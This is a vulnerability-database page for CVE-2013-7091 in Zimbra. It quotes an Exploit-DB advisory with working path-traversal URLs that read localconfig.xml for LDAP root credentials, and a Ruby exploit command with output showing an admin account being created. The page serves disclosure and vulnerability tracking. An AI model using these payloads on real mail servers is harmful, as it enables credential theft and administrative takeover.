CVE-2013-7091 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI # Date: 06 Dec 2013 # Exploit Author: rubina119 # Contact Email : rubina119[at]gmail.com # Vendor Homepage: http://www.zimbra.com/ # Version: 2009, 2010, 2011, 2012 and early 2013 versions are afected, # Tested on: Centos(x), Ubuntu. # CVE : No CVE, no patch just 0Day # State : Critical # Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30085.zip (zimbraexploit_rubina119.zip) ---------------Description----------------- This script exploits a Local File Inclusion in /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz which allows us to see localconfig.xml that contains LDAP root credentials wich allow us to make requests in /service/admin/soap API with the stolen LDAP credentials to create user with administration privlegies and gain acces to the Administration Console. LFI is located at : /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 Example : https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 or https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 ----------------Exploit----------------- Before use this exploit, target server must have admin console port open "7071" otherwise it won't work. use the exploit like this : ruby run.rb -t mail.example.com -u someuser -p Test123_23 [*] Looking if host is vuln.... [+] Host is vuln exploiting... [+] Obtaining Domain Name [+] Creating Account [+] Elevating Privileges [+] Login Credentials [*] Login URL : https://mail.example.com:7071/zimbraAdmin/ [*] Account : someuser@example.com [*] Password : Test123_23 [+] Successfully Exploited ! The number of servers vuln are huge like 80/100. This is only for educational purpouses.

The vulnerability allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen credentials allow the attacker to make requests to the service/admin/soap API. This can then be used to create an authentication token for the admin web interface. This access can be used to achieve remote code execution.
